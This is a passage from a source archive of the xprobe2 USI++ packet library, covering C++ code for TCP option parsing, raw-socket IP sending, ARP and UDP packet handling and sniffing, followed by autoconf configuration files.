tcpOptions[lenparsed+1]; else // something is really fucked // we have option but do not have // its length return 0; } // alrighty, check for a fucked up packs // make sure that len reported in the pack // fits into our buffer if (optlen > opt_offset - lenparsed) { return 0; } // at this point have optlen bytes in tcp_options; // if optlen for some particular option is fucked up // we assign it correct value and try to parse further, // however neither data is parsed, nor we add option to // opt_order switch(tcpOptions[lenparsed]) { case TCPOPT_WINDOW: if (optlen != TCPOLEN_WINDOW) { optlen = TCPOLEN_WINDOW; continue; } else { wscale = tcpOptions[lenparsed+2]; if (k < buflen) opt_order[k++]='W'; } break; case TCPOPT_TIMESTAMP: if (optlen != TCPOLEN_TIMESTAMP) { optlen = TCPOLEN_TIMESTAMP; continue; } // we are guaranteed to have 8 bytes of option data at tcp_options+lenparsed memcpy(×tamps[0], tcpOptions+lenparsed+2, 4); memcpy(×tamps[1], tcpOptions+lenparsed+6, 4); timestamps[0] = ntohl(timestamps[0]); timestamps[1] = ntohl(timestamps[1]); if (k < buflen) opt_order[k++]='T'; break; case TCPOPT_MAXSEG: if (optlen != TCPOLEN_MAXSEG) { optlen = TCPOLEN_MAXSEG; continue; } if (k < buflen) opt_order[k++] = 'M'; break; case TCPOPT_SACK_PERMITTED: if (optlen != TCPOLEN_SACK_PERMITTED) { optlen = TCPOLEN_SACK_PERMITTED; continue; } if (k < buflen) opt_order[k++] = 'S'; break; } } return k; } std::string TCP::to_string(void) { char buf[4096], tcp_opt[40]; string retval = IP::to_string(); memset(buf, 0, sizeof(buf)); memset(tcp_opt, 0, sizeof(tcp_opt)); get_parsed_tcpopt(tcp_opt, sizeof(tcp_opt)-1); snprintf(buf, sizeof(buf), "+--------------------------------[ TCP ]\n| sport=%d dport=%d seq=0x%x ack=0x%x win=0x%x off=%d urg=%d flags=0x%x options=%s\n+--------------------------------\n", get_srcport(), get_dstport(), get_seq(), get_ack(), get_win(), get_off(), get_urg(), get_flags(), tcp_opt); retval.append(buf); return retval; } } // namespace usipp xprobe2-0.3/libs-external/USI++/src/TX_IP.cc000755 001751 000000 00000004305 10271643767 020565 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #include "usi++/TX_IP.h" #include "usi++/usi-structs.h" #include #include #include namespace usipp { int TX_IP::sendpack(void *buf, size_t len, struct sockaddr *s) { // if not already opened a RAW-socket, do it! if (rawfd < 0) { // open a socket if ((rawfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) die("TX_IP::sendpack::socket", PERROR, errno); int one = 1; // let us write IP-headers if (setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) die("TX_IP::sendpack::setsockopt", PERROR, errno); } if (tx_timeout != false) if (setsockopt(rawfd, SOL_SOCKET, SO_SNDTIMEO, &tx_tv, sizeof(tx_tv)) < 0) die("TX_IP::sendpack::setsockopt(SO_SNDTIMEO)", PERROR, errno); int r; if ((r = sendto(rawfd, buf, len, 0, s, sizeof(*s))) < 0) die("TX_IP::sendpack::sendto", PERROR, errno); return r; } int TX_IP::broadcast() { int one = 1; if (rawfd < 0) { // open a socket if ((rawfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) die("TX_IP::sendpack::socket", PERROR, errno); // let us write IP-headers if (setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) die("TX_IP::sendpack::setsockopt", PERROR, errno); } if (setsockopt(rawfd, SOL_SOCKET, SO_BROADCAST, &one, sizeof(one)) < 0) die("TX_IP::broadcast::setsockopt", PERROR, errno); return 0; } int TX_IP::timeout(struct timeval tv) { tx_tv = tv; tx_timeout = true; return 0; } bool TX_IP::timeout() { return tx_timeout; } } // namespace xprobe2-0.3/libs-external/USI++/src/arp.cc000755 001751 000000 00000006017 10271643767 020426 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #include #include "config.h" #include "usi++/usi-structs.h" #include "usi++/arp.h" #include namespace usipp { ARP::ARP() { memset(&arphdr, 0, sizeof(arphdr)); } ARP::~ARP() { } /*! Return the source-hardware-adress of a ARP-packet */ char *ARP::get_sha(char *hwaddr, size_t len) const { // switch over the hardware-layer of the ARP-packet switch (ntohs(arphdr.ea_hdr.ar_hrd)) { case ARPHRD_ETHER: memcpy(hwaddr, arphdr.arp_sha, len<6?len:6); break; default: return NULL; } return hwaddr; } /*! Return the destination-hardware-adress. */ char *ARP::get_tha(char *hwaddr, size_t len) const { switch (ntohs(arphdr.ea_hdr.ar_hrd)) { case ARPHRD_ETHER: memcpy(hwaddr, arphdr.arp_tha, len<6?len:6); break; default: return NULL; } return hwaddr; } /*! Get target protocol-address. * Only IP is supportet yet! */ char *ARP::get_tpa(int resolve, char *pa, size_t len) const { struct in_addr in; struct hostent *he; memset(pa, 0, len); // switch over protocol switch (ntohs(arphdr.ea_hdr.ar_pro)) { case ETH_P_IP: memcpy(&in, arphdr.arp_tpa, 4); if (!resolve || (he = gethostbyaddr((char*)&in, sizeof(in), AF_INET)) == NULL) strncpy(pa, inet_ntoa(in), len); else strncpy(pa, he->h_name, len); break; default: return NULL; } return pa; } /*! Get source protocol-adress. */ char *ARP::get_spa(int resolve, char *pa, size_t len) const { struct in_addr in; struct hostent *he; memset(pa, 0, len); switch (ntohs(arphdr.ea_hdr.ar_pro)) { case ETH_P_IP: memcpy(&in, arphdr.arp_spa, 4); if (!resolve || (he = gethostbyaddr((char*)&in, sizeof(in), AF_INET)) == NULL) strncpy(pa, inet_ntoa(in), len); else strncpy(pa, he->h_name, len); break; default: return NULL; } return pa; } /* Return the ARP-command. */ u_int16_t ARP::get_op() const { return ntohs(arphdr.ea_hdr.ar_op); } int ARP::init_device(char *dev, int p, size_t len) { return Layer2::init_device(dev, p, len); } int ARP::setfilter(char *s) { return Layer2::setfilter(s); } /* Sniff for an ARP-request/reply ... */ int ARP::sniffpack() { return Layer2::sniffpack((char*)&arphdr, sizeof(arphdr)); } } // namespace usipp xprobe2-0.3/libs-external/USI++/src/udp.cc000755 001751 000000 00000011177 10271643767 020437 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #include "usi++/usi-structs.h" #include "usi++/udp.h" #include #include namespace usipp { UDP::UDP(const char *host) #ifndef IPPROTO_UDP #define IPPROTO_UDP 17 #endif : IP(host, IPPROTO_UDP) { memset(&d_udph, 0, sizeof(d_udph)); memset(&d_pseudo, 0, sizeof(d_pseudo)); } UDP::~UDP() { } UDP::UDP(const UDP &rhs) : IP(rhs) { if (this == &rhs) return; d_udph = rhs.d_udph; d_pseudo = rhs.d_pseudo; } UDP &UDP::operator=(const UDP &rhs) { if (this == &rhs) return *this; IP::operator=(rhs); d_udph = rhs.d_udph; d_pseudo = rhs.d_pseudo; return *this; } UDP &UDP::operator=(const IP &rhs) { iphdr iph; if (this == &rhs) return *this; IP::operator=(rhs); iph = IP::get_iphdr(); d_udph = *(udphdr *)((char *)&iph + IP::get_hlen() * 4); return *this; } /* Get the sourceport of UDP-datagram. */ u_int16_t UDP::get_srcport() { return ntohs(d_udph.source); } /* Get the destinationport of the UDP-datagram */ u_int16_t UDP::get_dstport() { return ntohs(d_udph.dest); } /* Return length of UDP-header plus contained data. */ u_int16_t UDP::get_len() { return ntohs(d_udph.len); } /* Return the checksum of UDP-datagram. */ u_int16_t UDP::get_udpsum() { return d_udph.check; } /* Set the sourceport in the UDP-header. */ int UDP::set_srcport(u_int16_t sp) { d_udph.source = htons(sp); return 0; } /* Set the destinationport in the UDP-header. */ int UDP::set_dstport(u_int16_t dp) { d_udph.dest = htons(dp); return 0; } /* Set the length of the UDP-datagramm. */ int UDP::set_len(u_int16_t l) { d_udph.len = htons(l); return 0; } /* Set the UDP-checksum. Calling this function with s != 0 * will prevent sendpack() from setting the checksum!!! */ int UDP::set_udpsum(u_int16_t s) { d_udph.check = s; return 0; } udphdr UDP::get_udphdr() { return d_udph; } /* Send an UDP-datagramm, containing 'paylen' bytes of data. */ int UDP::sendpack(void *buf, size_t paylen) { size_t len = paylen + sizeof(d_udph) + sizeof(d_pseudo); char *tmp = new char[len+1]; // for padding, if needed memset(tmp, 0, len+1); memset(&d_pseudo, 0, sizeof(d_pseudo)); // build a pseudoheader for IP-checksum, as // required per RFC ??? d_pseudo.saddr = get_src(); // sourceaddress d_pseudo.daddr = get_dst(); // destinationaddress d_pseudo.zero = 0; d_pseudo.proto = IPPROTO_UDP; d_pseudo.len = htons(sizeof(d_udph) + paylen); if (d_udph.len == 0) d_udph.len = htons(paylen + sizeof(d_udph)); // copy pseudohdr+header+data to buffer memcpy(tmp, &d_pseudo, sizeof(d_pseudo)); memcpy(tmp + sizeof(d_pseudo), &d_udph, sizeof(d_udph)); memcpy(tmp + sizeof(d_pseudo) + sizeof(d_udph), buf, paylen); // calc checksum over it struct udphdr *u = (struct udphdr*)(tmp + sizeof(d_pseudo)); if (d_udph.check == 0) { u->check = in_cksum((unsigned short*)tmp, len, 1); d_udph.check = u->check; } IP::sendpack(tmp + sizeof(d_pseudo), len - sizeof(d_pseudo)); delete [] tmp; return 0; } int UDP::sendpack(char *s) { return sendpack(s, strlen(s)); } /* Capture packets that are not for our host. */ int UDP::sniffpack(void *buf, size_t len) { char *tmp = new char[len+sizeof(d_udph)]; int r = 0; memset(tmp, 0, len + sizeof(d_udph)); r = IP::sniffpack(tmp, len + sizeof(d_udph)); if (r == 0 && Layer2::timeout()) { // timeout delete[] tmp; return 0; } memset(&d_udph, 0, sizeof(d_udph)); memcpy(&d_udph, tmp, sizeof(d_udph)); if (buf) memcpy(buf, tmp + sizeof(d_udph), len); delete [] tmp; return r-sizeof(d_udph); } /* Initialize a device ("eth0" for example) for packet- * capturing. It MUST be called before sniffpack() is launched. * Set 'promisc' to 1 if you want the device running in promiscous mode. * Fetch at most 'snaplen' bytes per call. */ int UDP::init_device(char *dev, int promisc, size_t snaplen) { int r = Layer2::init_device(dev, promisc, snaplen); if (r < 0) die("UDP::init_device", STDERR, 1); r = Layer2::setfilter("udp"); if (r < 0) die("UDP::init_device::setfilter", STDERR, 1); return r; } } // namespace usipp xprobe2-0.3/libs-external/USI++/src/config.h.in000644 001751 000000 00000004457 10271643767 021363 0ustar00mederwheel000000 000000 /* config.h.in. Generated from configure.in by autoheader. */ /* Define to 1 if you have the header file. */ #undef HAVE_FCNTL_H /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H /* Define to 1 if you have the `nsl' library (-lnsl). */ #undef HAVE_LIBNSL /* Define to 1 if you have the `pcap' library (-lpcap). */ #undef HAVE_LIBPCAP /* Define to 1 if you have the `socket' library (-lsocket). */ #undef HAVE_LIBSOCKET /* Define to 1 if you have the header file. */ #undef HAVE_LINUX_FILTER_H /* Define to 1 if you have the header file. */ #undef HAVE_MEMORY_H /* pcap_setnonblock func is present */ #undef HAVE_PCAP_SETNONBLOCK /* Define to 1 if you have the header file. */ #undef HAVE_STDINT_H /* Define to 1 if you have the header file. */ #undef HAVE_STDLIB_H /* Define to 1 if you have the header file. */ #undef HAVE_STRINGS_H /* Define to 1 if you have the header file. */ #undef HAVE_STRING_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_IOCTL_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_STAT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TIME_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TYPES_H /* Define to 1 if you have the header file. */ #undef HAVE_UNISTD_H /* Define to the address where bug reports for this package should be sent. */ #undef PACKAGE_BUGREPORT /* Define to the full name of this package. */ #undef PACKAGE_NAME /* Define to the full name and version of this package. */ #undef PACKAGE_STRING /* Define to the one symbol short name of this package. */ #undef PACKAGE_TARNAME /* Define to the version of this package. */ #undef PACKAGE_VERSION /* Define to 1 if you have the ANSI C header files. */ #undef STDC_HEADERS /* Define to 1 if you can safely include both and . */ #undef TIME_WITH_SYS_TIME /* Define to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel and VAX). */ #undef WORDS_BIGENDIAN /* Define to empty if `const' does not conform to ANSI C. */ #undef const /* Define to `unsigned' if does not define. */ #undef size_t xprobe2-0.3/libs-external/USI++/src/configure000755 001751 000000 00000463240 10271643767 021246 0ustar00mederwheel000000 000000 #! /bin/sh # Guess values for system-dependent variables and create Makefiles. # Generated by GNU Autoconf 2.59. # # Copyright (C) 2003 Free Software Foundation, Inc. # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify it. ## --------------------- ## ## M4sh Initialization. ## ## --------------------- ## # Be Bourne compatible if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then set -o posix fi DUALCASE=1; export DUALCASE # for MKS sh # Support unset when possible. if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then as_unset=unset else as_unset=false fi # Work around bugs in pre-3.0 UWIN ksh. $as_unset ENV MAIL MAILPATH PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. for as_var in \ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ LC_TELEPHONE LC_TIME do if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then eval $as_var=C; export $as_var else $as_unset $as_var fi done # Required to use basename. if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi # Name of the executable. as_me=`$as_basename "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)$' \| \ . : '\(.\)' 2>/dev/null || echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; } /^X\/\(\/\/\)$/{ s//\1/; q; } /^X\/\(\/\).*/{ s//\1/; q; } s/.*/./; q'` # PATH needs CR, and LINENO needs CR and PATH. # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then echo "#! /bin/sh" >conf$$.sh echo "exit 0" >>conf$$.sh chmod +x conf$$.sh if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then PATH_SEPARATOR=';' else PATH_SEPARATOR=: fi rm -f conf$$.sh fi as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" || { # Find who we are. Look in the path if we contain no path at all # relative or not. case $0 in *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then { echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2 { (exit 1); exit 1; }; } fi case $CONFIG_SHELL in '') as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for as_base in sh bash ksh sh5; do case $as_dir in /*) if ("$as_dir/$as_base" -c ' as_lineno_1=$LINENO as_lineno_2=$LINENO as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` test "x$as_lineno_1" != "x$as_lineno_2" && test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; } $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; } CONFIG_SHELL=$as_dir/$as_base export CONFIG_SHELL exec "$CONFIG_SHELL" "$0" ${1+"$@"} fi;; esac done done ;; esac # Create $as_me.lineno as a copy of $as_myself, but with $LINENO # uniformly replaced by the line number. The first 'sed' inserts a # line-number line before each line; the second 'sed' does the real # work. The second script uses 'N' to pair each line-number line # with the numbered line, and appends trailing '-' during # substitution so that $LINENO is not a special case at line end. # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-) sed '=' <$as_myself | sed ' N s,$,-, : loop s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3, t loop s,-$,, s,^['$as_cr_digits']*\n,, ' >$as_me.lineno && chmod +x $as_me.lineno || { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 { (exit 1); exit 1; }; } # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensible to this). . ./$as_me.lineno # Exit status is that of the last command. exit } case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in *c*,-n*) ECHO_N= ECHO_C=' ' ECHO_T=' ' ;; *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;; *) ECHO_N= ECHO_C='\c' ECHO_T= ;; esac if expr a : '\(a\)' >/dev/null 2>&1; then as_expr=expr else as_expr=false fi rm -f conf$$ conf$$.exe conf$$.file echo >conf$$.file if ln -s conf$$.file conf$$ 2>/dev/null; then # We could just check for DJGPP; but this test a) works b) is more generic # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04). if test -f conf$$.exe; then # Don't use ln at all; we don't have any links as_ln_s='cp -p' else as_ln_s='ln -s' fi elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.file if mkdir -p . 2>/dev/null; then as_mkdir_p=: else test -d ./-p && rmdir ./-p as_mkdir_p=false fi as_executable_p="test -f" # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" # IFS # We need space, tab and new line, in precisely that order. as_nl=' ' IFS=" $as_nl" # CDPATH. $as_unset CDPATH # Name of the host. # hostname on some systems (SVR3.2, Linux) returns a bogus exit status, # so uname gets run too. ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` exec 6>&1 # # Initializations. # ac_default_prefix=/usr/local ac_config_libobj_dir=. cross_compiling=no subdirs= MFLAGS= MAKEFLAGS= SHELL=${CONFIG_SHELL-/bin/sh} # Maximum number of lines to put in a shell here document. # This variable seems obsolete. It should probably be removed, and # only ac_max_sed_lines should be used. : ${ac_max_here_lines=38} # Identity of this package. PACKAGE_NAME= PACKAGE_TARNAME= PACKAGE_VERSION= PACKAGE_STRING= PACKAGE_BUGREPORT= ac_unique_file="ip.cc" # Factoring default headers for most tests. ac_includes_default="\ #include #if HAVE_SYS_TYPES_H # include #endif #if HAVE_SYS_STAT_H # include #endif #if STDC_HEADERS # include # include #else # if HAVE_STDLIB_H # include # endif #endif #if HAVE_STRING_H # if !STDC_HEADERS && HAVE_MEMORY_H # include # endif # include #endif #if HAVE_STRINGS_H # include #endif #if HAVE_INTTYPES_H # include #else # if HAVE_STDINT_H # include # endif #endif #if HAVE_UNISTD_H # include #endif" ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS build build_cpu build_vendor build_os host host_cpu host_vendor host_os CXX CXXFLAGS LDFLAGS CPPFLAGS ac_ct_CXX EXEEXT OBJEXT RANLIB ac_ct_RANLIB INSTALL_PROGRAM INSTALL_SCRIPT INSTALL_DATA CC CFLAGS ac_ct_CC CPP EGREP LIBOBJS LTLIBOBJS' ac_subst_files='' # Initialize some variables set by options. ac_init_help= ac_init_version=false # The variables have the same names as the options, with # dashes changed to underlines. cache_file=/dev/null exec_prefix=NONE no_create= no_recursion= prefix=NONE program_prefix=NONE program_suffix=NONE program_transform_name=s,x,x, silent= site= srcdir= verbose= x_includes=NONE x_libraries=NONE # Installation directory options. # These are left unexpanded so users can "make install exec_prefix=/foo" # and all the variables that are supposed to be based on exec_prefix # by default will actually change. # Use braces instead of parens because sh, perl, etc. also accept them. bindir='${exec_prefix}/bin' sbindir='${exec_prefix}/sbin' libexecdir='${exec_prefix}/libexec' datadir='${prefix}/share' sysconfdir='${prefix}/etc' sharedstatedir='${prefix}/com' localstatedir='${prefix}/var' libdir='${exec_prefix}/lib' includedir='${prefix}/include' oldincludedir='/usr/include' infodir='${prefix}/info' mandir='${prefix}/man' ac_prev= for ac_option do # If the previous option needs an argument, assign it. if test -n "$ac_prev"; then eval "$ac_prev=\$ac_option" ac_prev= continue fi ac_optarg=`expr "x$ac_option" : 'x[^=]*=\(.*\)'` # Accept the important Cygnus configure options, so we can diagnose typos. case $ac_option in -bindir | --bindir | --bindi | --bind | --bin | --bi) ac_prev=bindir ;; -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) bindir=$ac_optarg ;; -build | --build | --buil | --bui | --bu) ac_prev=build_alias ;; -build=* | --build=* | --buil=* | --bui=* | --bu=*) build_alias=$ac_optarg ;; -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) cache_file=$ac_optarg ;; --config-cache | -C) cache_file=config.cache ;; -datadir | --datadir | --datadi | --datad | --data | --dat | --da) ac_prev=datadir ;; -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \ | --da=*) datadir=$ac_optarg ;; -disable-* | --disable-*) ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid feature name: $ac_feature" >&2 { (exit 1); exit 1; }; } ac_feature=`echo $ac_feature | sed 's/-/_/g'` eval "enable_$ac_feature=no" ;; -enable-* | --enable-*) ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && { echo "$as_me: error: invalid feature name: $ac_feature" >&2 { (exit 1); exit 1; }; } ac_feature=`echo $ac_feature | sed 's/-/_/g'` case $ac_option in *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;; *) ac_optarg=yes ;; esac eval "enable_$ac_feature='$ac_optarg'" ;; -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ | --exec | --exe | --ex) ac_prev=exec_prefix ;; -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ | --exec=* | --exe=* | --ex=*) exec_prefix=$ac_optarg ;; -gas | --gas | --ga | --g) # Obsolete; use --with-gas. with_gas=yes ;; -help | --help | --hel | --he | -h) ac_init_help=long ;; -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ac_init_help=recursive ;; -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ac_init_help=short ;; -host | --host | --hos | --ho) ac_prev=host_alias ;; -host=* | --host=* | --hos=* | --ho=*) host_alias=$ac_optarg ;; -includedir | --includedir | --includedi | --included | --include \ | --includ | --inclu | --incl | --inc) ac_prev=includedir ;; -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ | --includ=* | --inclu=* | --incl=* | --inc=*) includedir=$ac_optarg ;; -infodir | --infodir | --infodi | --infod | --info | --inf) ac_prev=infodir ;; -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) infodir=$ac_optarg ;; -libdir | --libdir | --libdi | --libd) ac_prev=libdir ;; -libdir=* | --libdir=* | --libdi=* | --libd=*) libdir=$ac_optarg ;; -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ | --libexe | --libex | --libe) ac_prev=libexecdir ;; -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ | --libexe=* | --libex=* | --libe=*) libexecdir=$ac_optarg ;; -localstatedir | --localstatedir | --localstatedi | --localstated \ | --localstate | --localstat | --localsta | --localst \ | --locals | --local | --loca | --loc | --lo) ac_prev=localstatedir ;; -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ | --localstate=* | --localstat=* | --localsta=* | --localst=* \ | --locals=* | --local=* | --loca=* | --loc=* | --lo=*) localstatedir=$ac_optarg ;; -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ac_prev=mandir ;; -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) mandir=$ac_optarg ;; -nfp | --nfp | --nf) # Obsolete; use --without-fp. with_fp=no ;; -no-create | --no-create | --no-creat | --no-crea | --no-cre \ | --no-cr | --no-c | -n) no_create=yes ;; -no-recursion | --no-recursion | --no-recursio | --no-recursi \ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) no_recursion=yes ;; -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ | --oldin | --oldi | --old | --ol | --o) ac_prev=oldincludedir ;; -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) oldincludedir=$ac_optarg ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) prefix=$ac_optarg ;; -program-prefix | --program-prefix | --program-prefi | --program-pref \ | --program-pre | --program-pr | --program-p) ac_prev=program_prefix ;; -program-prefix=* | --program-prefix=* | --program-prefi=* \ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) program_prefix=$ac_optarg ;; -program-suffix | --program-suffix | --program-suffi | --program-suff \ | --program-suf | --program-su | --program-s) ac_prev=program_suffix ;; -program-suffix=* | --program-suffix=* | --program-suffi=* \ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) program_suffix=$ac_optarg ;; -program-transform-name | --program-transform-name \ | --program-transform-nam | --program-transform-na \ | --program-transform-n | --program-transform- \ | --program-transform | --program-transfor \ | --program-transfo | --program-transf \ | --program-trans | --program-tran \ | --progr-tra | --program-tr | --program-t) ac_prev=program_transform_name ;; -program-transform-name=* | --program-transform-name=* \ | --program-transform-nam=* | --program-transform-na=* \ | --program-transform-n=* | --program-transform-=* \ | --program-transform=* | --program-transfor=* \ | --program-transfo=* | --program-transf=* \ | --program-trans=* | --program-tran=* \ | --progr-tra=* | --program-tr=* | --program-t=*) program_transform_name=$ac_optarg ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) silent=yes ;; -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ac_prev=sbindir ;; -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ | --sbi=* | --sb=*) sbindir=$ac_optarg ;; -sharedstatedir | --sharedstatedir | --sharedstatedi \ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ | --sharedst | --shareds | --shared | --share | --shar \ | --sha | --sh) ac_prev=sharedstatedir ;; 